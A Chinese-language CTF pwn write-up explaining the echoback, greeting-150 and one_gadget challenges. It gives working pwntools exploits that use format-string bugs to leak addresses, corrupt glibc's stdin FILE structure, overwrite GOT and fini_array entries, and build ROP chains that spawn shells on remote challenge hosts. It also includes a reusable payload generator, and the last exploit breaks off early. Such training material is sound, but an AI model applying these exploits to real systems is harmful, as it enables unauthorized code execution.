OTHER WRITE UP FOR ME

echoback

题目来源: World of Attack & Defense

checksec

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

vul

unsigned __int64 __fastcall sub_B80(_BYTE *a1)
{
  size_t nbytes; // [rsp+1Ch] [rbp-14h] long int
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset((char *)&nbytes + 4, 0, 8uLL);
  printf("length:", 0LL);
  _isoc99_scanf("%d", &nbytes);
  getchar();
  if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
    LODWORD(nbytes) = 7; //limits
  read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
  if ( *a1 )
    printf("%s say:", a1);
  else
    printf("anonymous say:", (char *)&nbytes + 4);
  printf((const char *)&nbytes + 4);            // fmt vum
  return __readfsqword(0x28u) ^ v3;
}

明显的字符串漏洞,但是最多只允许输入7个字符.

思路

通过利用字符串漏洞泄漏libc基地址, elf基地址, 修改 _IO_FILE struct,然后打入stack 中的 &main ret构造rop链

泄漏libc基址

传入 %p调试到vfprintf函数堆栈如下:

 0x7ffe31470828 —▸ 0x7ffe3146e250 ◂— 'anonymous say:'
 07:0038│      0x7ffe31470830 —▸ 0x7f81d9132780 (_IO_stdfile_1_lock) ◂— 0x0
 08:0040│      0x7ffe31470838 —▸ 0x7f81d8e632c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 09:0048│      0x7ffe31470840 —▸ 0x7f81d9339700 ◂— 0x7f81d9339700
 0a:0050│      0x7ffe31470848 ◂— 0xe
 0b:0058│      0x7ffe31470850 ◂— 0x6562b026
 0c:0060│      0x7ffe31470858 —▸ 0x7f81d91316a3 (_IO_2_1_stdout_+131) ◂— 0x132780000000000a 
 ...           ...
 28:0140│      0x7ffe31470938 ◂— 0x746df13682d53b00
 29:0148│      0x7ffe31470940 —▸ 0x562293252d30 ◂— push   r15
 2a:0150│      0x7ffe31470948 —▸ 0x7f81d8d8c830 (__libc_start_main+240) ◂— mov    edi, eax
 2b:0158│      0x7ffe31470950 —▸ 0x7ffe31470a28 —▸ 0x7ffe31470fb8

通过调试, 传入 %p打印时, 打印出0x7ffe31470830, 而 __libc_start_main+240 的地址在0x7ffe31470948, 调试不断加1进行核对地址,最终在 %19$p打印出libc_start_main + 240的地址.然后通过计算即可获取libc基址

# leaking libc base
    sla('>>', str(2))
    sla(':', str(7))
    p = '%19$p'
    sl(p)
    ru('0x')
    libc_start_main = int(r(12),16) - 240
    libc_base = libc_start_main - lib.sym['__libc_start_main']
    li('libc_base:' + hex(libc_base))
    sys_addr = libc_base + lib.sym['system']
    sh_addr  = libc_base + lib.search('/bin/sh').next()

泄漏elf基址

传入 %14$p查看printf函数中堆栈分布如下

05:0028│ rdi  0x7ffc6b02ca80 ◂— 0xa7024343125 /* '%14$p\n' */
06:0030│      0x7ffc6b02ca88 ◂— 0xb8b63dff1d802400
07:0038│ rbp  0x7ffc6b02ca90 —▸ 0x7ffc6b02cac0 —▸ 0x55f4515b5d30 ◂— push   r15
08:0040│      0x7ffc6b02ca98 —▸ 0x55f4515b5d08 ◂— jmp    0x55f4515b5d0b
09:0048│      0x7ffc6b02caa0 —▸ 0x55f4515b5d30 ◂— push   r15
0a:0050│      0x7ffc6b02caa8 ◂— 0x200000000
0b:0058│      0x7ffc6b02cab0 ◂— 0x0
0c:0060│      0x7ffc6b02cab8 ◂— 0xb8b63dff1d802400

打印出0x55f4515b5d30 ◂— push r15, 而这个位置刚好在init函数的起始位置.在文件中偏移为: 0xD30 ( push r15),这就可以计算elf的偏移了.然后获取main, pop rid的地址.

# leaking elf base
    sla('>>', str(2))
    sla(':', str(7))
    p = '%14$p'
    sl(p)
    ru('0x')
    elf_base = int(r(12),16) - 0xD30
    main_addr = elf_base + 0xC6C
    pop_rdi_ret = elf_base + 0xd93
    li('elf_base:' + hex(elf_base))

泄漏堆栈中main ret地址

下图为printf函数中的堆栈

pwndbg> stack 100
00:0000│ rsp  0x7fffb8e184a8 —▸ 0x55ff36954c55 ◂— nop    
01:0008│      0x7fffb8e184b0 —▸ 0x55ff36954ef8 ◂— xor    ebp, dword ptr [rsi] /* '3. exit' */
02:0010│      0x7fffb8e184b8 —▸ 0x7fffb8e18500 ◂— 0x0
03:0018│      0x7fffb8e184c0 ◂— 0xa32 /* '2\n' */
04:0020│      0x7fffb8e184c8 ◂— 0x7134b9900
05:0028│ rdi  0x7fffb8e184d0 ◂— 0xa7024353125 /* '%15$p\n' */
06:0030│      0x7fffb8e184d8 ◂— 0xc7f0a378134b9900
07:0038│ rbp  0x7fffb8e184e0 —▸ 0x7fffb8e18510 #泄漏该地址, 获取main ret
08:0040│      0x7fffb8e184e8 —▸ 0x55ff36954d08 ◂— jmp    0x55ff36954d0b
09:0048│      0x7fffb8e184f0 —▸ 0x55ff36954d30 ◂— push   r15
0a:0050│      0x7fffb8e184f8 ◂— 0x200000000
0b:0058│      0x7fffb8e18500 ◂— 0x0
0c:0060│      0x7fffb8e18508 ◂— 0xc7f0a378134b9900
0d:0068│      0x7fffb8e18510 —▸ 0x55ff36954d30 ◂— push   r15 # main rbp
0e:0070│      0x7fffb8e18518 —▸ 0x7fa5b79af830 (__libc_start_main+240) #mian的返回地址

以上0x7fffb8e18518就是我们要获取的main ret的堆栈地址, 在这里不能直接泄漏堆栈中的main ret地址,但可以通过泄漏 rbp地址来+8即可获取man ret.

#leaking main ret in stack
    sla('>>', str(2))
    sla(':', str(7))
    p = '%12$p'
    sl(p)
    ru('0x')
    main_ret = int(r(12),16) + 0x8

修改_IO_FILE将数据打入stack

目前,准备工作基本完毕, 现在就是要靠修改main ret地址来劫持程序流, 但是我们想构造payload,往main_ret处写数据,但是光一个p64(main_ret)包装就占了8个字符,而我们最多允许输入7个字符,setName,它不是白放那里的,它有着重要的作用.

它也可以接受7个字符,我们可以把main_ret存入a1中,虽然只允许7个字符,p64()有8字节,但是末尾一般都是0,由于是低位存储,也就是数据的前导0被舍弃,没有影响,除非那个数据8字节没有前导0

然后,发现,%16$p输出的就是a1的数据,于是,可以先setName(p64(addr)),然后利用%16$n来对addr处写数据然而,我们这样来直接写main_ret处的数据,还是不行,因为我们构造的payload始终长度都会大于7,于是,就需要用到一个新知识了,为了绕过7个字符的限制,利用printf漏洞先去攻击scanf内部结构,然后就可以直接利用scanf往目标处输入数据,这就需要去了解scanf的源码.

_IO_FILE struct

/*
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;    
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;    
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_; 
*/
/* The tag name of this struct is _IO_FILE to preserve historic 
   C++ mangled names for functions taking FILE* arguments. 
   That name should not be used in new code.  */  
struct _IO_FILE  
{  
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */  

  /* The following pointers correspond to the C++ streambuf protocol. */  
  char *_IO_read_ptr;   /* Current read pointer */  
  char *_IO_read_end;   /* End of get area. */  
  char *_IO_read_base;  /* Start of putback+get area. */  
  char *_IO_write_base; /* Start of put area. */  
  char *_IO_write_ptr;  /* Current put pointer. */  
  char *_IO_write_end;  /* End of put area. */  
  char *_IO_buf_base;   /* Start of reserve area. */  
  char *_IO_buf_end;    /* End of reserve area. */  

  /* The following fields are used to support backing up and undo. */  
  char *_IO_save_base; /* Pointer to start of non-current get area. */  
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  
  char *_IO_save_end; /* Pointer to end of non-current get area. */  

  struct _IO_marker *_markers;  

  struct _IO_FILE *_chain;  

  int _fileno;  
  int _flags2;  
  __off_t _old_offset; /* This used to be _offset but it's too small.  */  

  /* 1+column number of pbase(); 0 is unknown. */  
  unsigned short _cur_column;  
  signed char _vtable_offset;  
  char _shortbuf[1];  

  _IO_lock_t *_lock;  
#ifdef _IO_USE_OLD_IO_FILE  
};  

_IO_new_file_underflow

看看文件的读取过程_IO_new_file_underflow 这个函数最终调用了_IO_SYSREAD**系统调用来读取文件。在这之前,它做了一些处理**

int _IO_new_file_underflow (FILE *fp)  
{  
  ssize_t count;  

  /* C99 requires EOF to be "sticky".  */  
  if (fp->_flags & _IO_EOF_SEEN)  
    return EOF;  

  if (fp->_flags & _IO_NO_READS)  
    {  
      fp->_flags |= _IO_ERR_SEEN;  
      __set_errno (EBADF);  
      return EOF;  
    }  
  if (fp->_IO_read_ptr < fp->_IO_read_end)  //判断是否已经读完
    return *(unsigned char *) fp->_IO_read_ptr;  

  if (fp->_IO_buf_base == NULL)  
    {  
      /* Maybe we already have a push back pointer.  */  
      if (fp->_IO_save_base != NULL)  
    {  
      free (fp->_IO_save_base);  
      fp->_flags &= ~_IO_IN_BACKUP;  
    }  
      _IO_doallocbuf (fp);  
    }  

  /* FIXME This can/should be moved to genops ?? */  
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))  
    {  
      /* We used to flush all line-buffered stream.  This really isn't 
     required by any standard.  My recollection is that 
     traditional Unix systems did this for stdout.  stderr better 
     not be line buffered.  So we do just that here 
     explicitly.  --drepper */  
      _IO_acquire_lock (_IO_stdout);  

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))  
      == (_IO_LINKED | _IO_LINE_BUF))  
    _IO_OVERFLOW (_IO_stdout, EOF);  

      _IO_release_lock (_IO_stdout);  
    }  

  _IO_switch_to_get_mode (fp);  

  /* This is very tricky. We have to adjust those 
     pointers before we call _IO_SYSREAD () since 
     we may longjump () out while waiting for 
     input. Those pointers may be screwed up. H.J. */  
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;  
  fp->_IO_read_end = fp->_IO_buf_base;  //重新设置新的 _IO_buf_base
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end  
    = fp->_IO_buf_base;  
  //--------------------------------------
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,  //系统向_IO_buf_base指向的缓冲区写入读取的数据
          fp->_IO_buf_end - fp->_IO_buf_base);//写入长度:fp->_IO_buf_end - fp->_IO_buf_base

  if (count <= 0)  
    {  
      if (count == 0)  
    fp->_flags |= _IO_EOF_SEEN;  
      else  
    fp->_flags |= _IO_ERR_SEEN, count = 0;  
  }  
  fp->_IO_read_end += count; //使 _IO_read_end指针向后移动 
  if (count == 0)  
    {  
      /* If a stream is read to EOF, the calling application may switch active 
     handles.  As a result, our offset cache would no longer be valid, so 
     unset it.  */  
      fp->_offset = _IO_pos_BAD;  
      return EOF;  
    }  
  if (fp->_offset != _IO_pos_BAD)  
    _IO_pos_adjust (fp->_offset, count);  
  return *(unsigned char *) fp->_IO_read_ptr;  
}

利用

IO_SYSREAD系统调用,向fp->_IO_buf_base处写入读取的数据,并且长度为 fp->_IO_buf_end - fp->_IO_buf_base

要是能够修改_IO_buf_base和_IO_buf_end 那么就可以实现任意位置和想要的长度

首先需要定位到_IO_2_1_stdin_结构体在内存中的位置,然后再定位到_IO_buf_base 的位置,_IO_buf_base位于结构体中的第8个,所以,它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7 (注意结构体对齐,int占用内存8字节,所以为 0x8 * 7 而不是 0x8 * 6 + 4)

    #leaking_IO_buf_base
    _IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_']
    _IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7
    li('_IO_buf_base' + hex(_IO_buf_base))

来看看_IO_buf_base的值

0x7ffb6a2b08e0 <_IO_2_1_stdin_>:    0x00000000fbad208b    0x00007ffb6a2b0964
0x7ffb6a2b08f0 <_IO_2_1_stdin_+16>:    0x00007ffb6a2b0964    0x00007ffb6a2b0963
0x7ffb6a2b0900 <_IO_2_1_stdin_+32>:    0x00007ffb6a2b0963    0x00007ffb6a2b0963
0x7ffb6a2b0910 <_IO_2_1_stdin_+48>:    0x00007ffb6a2b0963    0x00007ffb6a2b0963 //IO_buf_base
0x7ffb6a2b0920 <_IO_2_1_stdin_+64>:    0x00007ffb6a2b0964    0x0000000000000000 //IO_buf_end
0x7ffb6a2b0930 <_IO_2_1_stdin_+80>:    0x0000000000000000    0x0000000000000000
0x7ffb6a2b0940 <_IO_2_1_stdin_+96>:    0x0000000000000000    0x0000000000000000
0x7ffb6a2b0950 <_IO_2_1_stdin_+112>:    0x0000000000000000    0xffffffffffffffff
0x7ffb6a2b0960 <_IO_2_1_stdin_+128>:    0x000000000a000000    0x00007ffb6a2b2790
0x7ffb6a2b0970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff    0x0000000000000000
0x7ffb6a2b0980 <_IO_2_1_stdin_+160>:    0x00007ffb6a2b09c0    0x0000000000000000
0x7ffb6a2b0990 <_IO_2_1_stdin_+176>:    0x0000000000000000    0x0000000000000000
0x7ffb6a2b09a0 <_IO_2_1_stdin_+192>:    0x00000000ffffffff    0x0000000000000000
0x7ffb6a2b09b0 <_IO_2_1_stdin_+208>:    0x0000000000000000    0x00007ffb6a2af6e0

先是stdin的位置,当前位于0x7ffb6a2b08e0

然后是_IO_buf_base,它位于0x7ffb6a2b08e0 + 0x8 * 7 = 0x7ffb6a2b0918 ,它的值为0x00007ffb6a2b0963 , 并且要知道,它的值相对_IO_2_1_stdin_的地址总是不变的,假如我们把_IO_buf_base的低一字节覆盖为0,那么他就变成了0x00007ffb6a2b0900 ,也就是0x7ffb6a2b08e0 + 0x8 * 4处,跑到了结构体内部去了,是结构体中的第5个数据处,也是_IO_write_base处,并且由于_IO_buf_end没变,那么我们可以从0x00007ffb6a2b0900处向后输入0x64-0x00 = 0x64个字符,那么就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址,就能绕过7个字符的输入限制,且可以实现write anything anywhere

先来覆盖_IO_buf_base的低1字节为0

    #modify _IO_buf_base
    sla('>>', str(1))
    p = p64(_IO_buf_base)
    sl(p)
    sla('>>', str(2))
    sla(':', str(7))
    p = '%16$hhn' #不打印,即个数为0
    sl(p)

接下来,就可以覆盖结构体里的一些数据了

对于_IO_buf_base之前的数据(_IO_write_base_IO_write_ptr, _IO_write_end),最好原样的放回,不然不知道会出现什么问题,经过调试,发现它们的值都是0x83 + _IO_2_1_stdin_addr,然后接下来,覆盖_IO_buf_base和_IO_buf_end,将它设置为堆栈中的&main ret, 然后即可实现写入数据时,就会向堆栈中写入数据,前提还需满足一些条件.

于是,payload

    #build payload to modify _IO_2_1_stdin struct
    p = p64(_IO_2_1_stdin_ + 0x83) * 3
    p += p64(main_ret) + p64(main_ret + 0x8 * 3)
    sla('>>', str(2))
    sa(':', p) #length:
    sl('')

在length:后面发送payload, 因为这个地方用到了scanf

现在,得绕过一个判断,这样调用scanf 输入数据时,才会往缓冲区写入输入的数据

 if (fp->_IO_read_ptr < fp->_IO_read_end)  //判断是否已经读完, 想要能写入缓冲数据,就得把让ptr >= end,这样才能使新的数据重新读入到缓冲区里 
    return *(unsigned char *) fp->_IO_read_ptr;  

之前,覆盖结构体数据时,后面执行了这一步,使得 fp->_IO_read_end += count 相当于fp->_IO_read_end += len(p)

fp->_IO_read_end = fp->_IO_buf_base;  //重新设置新的 _IO_buf_base
....          ....
count = _IO_SYSREAD (fp, fp->_IO_buf_base,  //系统向_IO_buf_base指向的缓冲区写入读取的数据
          fp->_IO_buf_end - fp->_IO_buf_base);//写入长度:fp->_IO_buf_end - fp->_IO_buf_base
....          ....
fp->_IO_read_end += count; //使 _IO_read_end指针向后移动

下面为输入之前的_IO_2_1_stdin_

0x7fa95326b8e0 <_IO_2_1_stdin_>:    0x00000000fbad208b    0x00007fa95326b901 //_IO_read_ptr
                                    //IO_read_end
0x7fa95326b8f0 <_IO_2_1_stdin_+16>:    0x00007fa95326b928    0x00007fa95326b900
0x7fa95326b900 <_IO_2_1_stdin_+32>:    0x00007fa95326b963    0x00007fa95326b963
0x7fa95326b910 <_IO_2_1_stdin_+48>:    0x00007fa95326b963    0x00007ffddf79fbe8
0x7fa95326b920 <_IO_2_1_stdin_+64>:    0x00007ffddf79fc00    0x0000000000000000

而 getchar() 的作用是使fp->_IO_read_ptr + 1

由于在覆盖结构体后,scanf的后面有一个getchar,执行了一次,所以还需要调用len(p)-1次getchar(),使_IO_read_ptr == PIO_read_end

    #call getchar() make fp->_IO_read_ptr == fp->_IO_read_end
    for i in range(0, len(p) - 1):
        sla('>>', str(2))
        sla(':', ',')
        sl(' ')    

调用 len(p) - 1次getchar()后, _IO_2_1_stdin_ 如下

pwndbg> x /40gx &_IO_2_1_stdin_
0x7f1a9a51f8e0 <_IO_2_1_stdin_>:    0x00000000fbad208b    0x00007f1a9a51f928 //_IO_read_ptr
                                    //IO_read_end
0x7f1a9a51f8f0 <_IO_2_1_stdin_+16>:    0x00007f1a9a51f928    0x00007f1a9a51f900
0x7f1a9a51f900 <_IO_2_1_stdin_+32>:    0x00007f1a9a51f963    0x00007f1a9a51f963
0x7f1a9a51f910 <_IO_2_1_stdin_+48>:    0x00007f1a9a51f963    0x00007fff14080e88
0x7f1a9a51f920 <_IO_2_1_stdin_+64>:    0x00007fff14080ea0    0x0000000000000000
0x7f1a9a51f930 <_IO_2_1_stdin_+80>:    0x0000000000000000    0x0000000000000000

构造rop链

然后再次输入的时候,输入的数据就会在stack中了,现在就可以构造rop链.

    #build rop chail
    sla('>>', str(2))
    p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
    sla(':', p) #length:
    sl('')    

下面为输入修改后的堆栈

pwndbg> stack 50
00:0000│ rsp  0x7fff92ceeed8 —▸ 0x55c9b5337ad4 ◂— movzx  eax, byte ptr [rbp - 0x10]
01:0008│ rsi  0x7fff92ceeee0 ◂— 0x0
02:0010│      0x7fff92ceeee8 ◂— 0x4a74f6baf7ec8d00
03:0018│ rbp  0x7fff92ceeef0 —▸ 0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push   r15
04:0020│      0x7fff92ceeef8 —▸ 0x55c9b5337b43 ◂— pop    rbp
05:0028│      0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push   r15
06:0030│      0x7fff92ceef08 —▸ 0x55c9b5337ccd ◂— mov    dword ptr [rbp - 0x14], eax
07:0038│      0x7fff92ceef10 —▸ 0x55c9b5337d30 ◂— push   r15
08:0040│      0x7fff92ceef18 ◂— 0xffffffda00000001
09:0048│      0x7fff92ceef20 —▸ 0x7f53670f8918 (_IO_2_1_stdin_+56) —▸ 0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop    rdi
0a:0050│      0x7fff92ceef28 ◂— 0x4a74f6baf7ec8d00
0b:0058│      0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push   r15
0c:0060│      0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop    rdi //修改为pop_rdi _ret
0d:0068│      0x7fff92ceef40 —▸ 0x7f5366ec0d57 ◂— 0x68732f6e69622f /* '/bin/sh' */
0e:0070│      0x7fff92ceef48 —▸ 0x7f5366d79390 (system) ◂— test   rdi, rdi

getshell

只需使main函数ret即可

#get shell
    sla('>>', str(3))

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "echo_back"
libFile  = "./libc.so.6"

remoteIp = "111.198.29.45"
remotePort = 54180

LOCAL = 1
LIBC  = 1

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------
def eb(length, text):
    sl(text)

#--------------------------Exploit--------------------------
def exploit():

    # leaking libc base
    sla('>>', str(2))
    sla(':', str(7))
    p = '%19$p'
    sl(p)
    ru('0x')
    libc_start_main = int(r(12),16) - 240
    libc_base = libc_start_main - lib.sym['__libc_start_main']
    li('libc_base:' + hex(libc_base))
    sys_addr = libc_base + lib.sym['system']
    sh_addr  = libc_base + lib.search('/bin/sh').next()

    # leaking elf base
    sla('>>', str(2))
    sla(':', str(7))
    p = '%14$p'
    sl(p)
    ru('0x')
    elf_base = int(r(12),16) - 0xD30
    main_addr = elf_base + 0xC6C
    pop_rdi_ret = elf_base + 0xd93
    li('elf_base:' + hex(elf_base))

    #leaking main ret in stack
    sla('>>', str(2))
    sla(':', str(7))
    p = '%12$p'
    sl(p)
    ru('0x')
    main_ret = int(r(12),16) + 0x8


    #leaking IO_buf_base
    _IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_']
    _IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7
    li('_IO_buf_base' + hex(_IO_buf_base))

    #modify _IO_buf_base
    sla('>>', str(1))
    p = p64(_IO_buf_base)
    sl(p)
    sla('>>', str(2))
    sla(':', str(7))
    p = '%16$hhn'
    sl(p)

    #build payload to modify _IO_2_1_stdin struct
    p = p64(_IO_2_1_stdin_ + 0x83) * 3
    p += p64(main_ret) + p64(main_ret + 0x8 * 3)
    sla('>>', str(2))
    sa(':', p) #length:
    sl('')

    #call getchar() make fp->_IO_read_ptr == fp->_IO_read_end
    for i in range(0, len(p) - 1):
        sla('>>', str(2))
        sla(':', ',')
        sl(' ')

    #build rop chail
    sla('>>', str(2))
    p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
    sla(':', p) #length:
    sl('')
    #db()

    #get shell
    sla('>>', str(3))


def finish():
    ia()
    c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        exe = ELF(exeFile)
        #io = exe.process()
        if LIBC:
            lib = ELF(libFile)
            io = exe.process(env = {"LD_PRELOAD" : libFile})

    else:
        exe = ELF(exeFile)
        io = remote(remoteIp, remotePort)
        if LIBC:
            lib = ELF(libFile)

    exploit()
    finish()

greeting-150

保护

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞

字符串漏洞

源代码

  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(&v5, 0x40) )
    return puts("Don't ignore me ;( ");
  sprintf(&s, "Nice to meet you, %s :)\n", &v5);
  return printf(&s); #字符串漏洞

利用

由于程序中只有一个字符串漏洞, 执行字符串漏洞后结束,这时就需要覆盖fini_array为start函数进行再次执行程序同时修改strlen的got表为system plt地址.

简单介绍一下: fini_array, 在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

字符串漏洞设置大的值注意的地方

hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数
  1. 第一次%xc%hhn的时候,要扣掉前面摆放的address的长度。比如32位时,其前面会摆放4个地址,这个时候就是x需要减去4x4 = 16.
  2. 之后每个%xc 必需扣掉前一个写入 byte 的值总字符数才会是这个写入需要的长度。比如 第一次写入值为 90 第二个写入 120 此时应为%30c% offset$hhn
  3. 当某一次写入的值比前面写入的要小的时候,就需要整数overflow回来。比如:需要写入的一个字节,用的是hhn的时候,前面那次写入的是0x80,这次写入的是0x50,这时候就用0x50可以加上0x100(256)=0x150 (这时候因为是hhn,在截取的时候就是截取的0x50), 再减去0x80 = 0xD0(208),也就是填入%208c%offset$hhn即可

单字节覆盖常用脚本(ctf-wiki):

def fmt(prev, word, index): # prev: payload 长度,  word: 单个字符, index: 偏移地址 + i
    if prev < word: #若payload长度小于单个字符的值时
        result = word - prev
        fmtstr = "%" + str(result) + "c" #直接写入差值,补齐
    elif prev == word: #若payload长度等于单个字符的值时
        result = 0 #不写
    else:       #若payload长度大于单个字符的值时
        result = 256 + word - prev  #通过单个字符溢出来打
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn" #添加自payload
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i) #32位将要覆盖的地址
        else:
            payload += p64(addr + i) #64位将要覆盖的地址
    prev = len(payload) #获取payload长度
    for i in range(4):
        #传入,payload长度, 目标字节, 偏移
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

#fmt_str(12, 4, exe.got['strlen'], exe.plt['system'])
'''
其中每个参数的含义基本如下
    offset表示要覆盖的地址最初的偏移
    size表示机器字长
    addr表示将要覆盖的地址。
    target表示我们要覆盖为的目的变量值。
'''

通过上面的介绍, 根据以上脚本写字符串漏洞原理写exp

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "greeting-150"
libFile  = ""

remoteIp = "111.198.29.45"
remotePort = 46553

LOCAL = 0
LIBC  = 0

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------

#--------------------------Exploit--------------------------
def exploit():
    ru('... ')

    strlen_got = exe.got['strlen']
    # ELF Termination Funciton Talbe
    # strlen_got 0x08049a54
    fini_array = 0x08049934
    start_addr = 0x080484F0
    system_plt = 0x08048490

    # 'Nice to meet you, %s:)' + str
    # offset 12
    offset = 12
    prelen = len('Nice to meet you, ')

    li('strlen_got: ' + hex(strlen_got))
    li('fini_array: ' + hex(fini_array))

    p = 'AA' #aliament
    p += p32(strlen_got + 2)
    p += p32(fini_array + 2)

    p += p32(strlen_got)
    p += p32(fini_array)
    #modify highword(strlen_got)
    p += '%' + str(0x0804 - 0x12 - prelen) + 'c%' + str(offset) + '$hn'
    #modify highword(fini_arry_addr)
    p += '%' + str(offset + 1) + '$hn'

    #modify lowword(system_plt)
    p += '%' + str(0x8490 - 0x804) + 'c%' + str(offset + 2) + '$hn'
    #modify lowword(fini_plt)
    p += '%' + str(0x84F0 - 0x8490) + 'c%' + str(offset + 3) + '$hn'

    sl(p)

def finish():
    ia()
    c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        exe = ELF(exeFile)
        if LIBC:
            libc = ELF(libFile)
            io = exe.process(env = {"LD_PRELOAD" : libFile})
        else:
            io = exe.process()


    else:
        exe = ELF(exeFile)
        io = remote(remoteIp, remotePort)
        if LIBC:
            libc = ELF(libFile)

    exploit()
    finish()

One Gadget

one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh"),这个时候one gadget就可以搞定了

使用one_gadget工具进行获取oen_gadget

one_gadget工具安装:

github: https://github.com/david942j/one_gadget

sudo apt install ruby
sudo apt install gem
sudo gem install one_gadget

通过ida查看伪代码

  void (*v4)(void); // [rsp+8h] [rbp-18h]
  void (*v5)(void); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  printf("Give me your one gadget:");
  __isoc99_scanf("%ld", &v4);
  v5 = v4;
  v4();

思路: 通过init打印出printf在libc中的地址, 然后计算libc基地址, 使用one_gadget打shell

exp如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team  : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile  = "one_gadget"
libFile  = "./libc-2.29.so"

remoteIp = "node3.buuoj.cn"
remotePort = 26163

LOCAL = 0
LIBC  = 1

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
pd32  = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64  = lambda x : p64(x).decode()
li    = lambda x : log.info(x)
db    = lambda   : gdb.attach(io)

#--------------------------Func-----------------------------


#--------------------------Exploit--------------------------
def exploit():
    ru('0x')
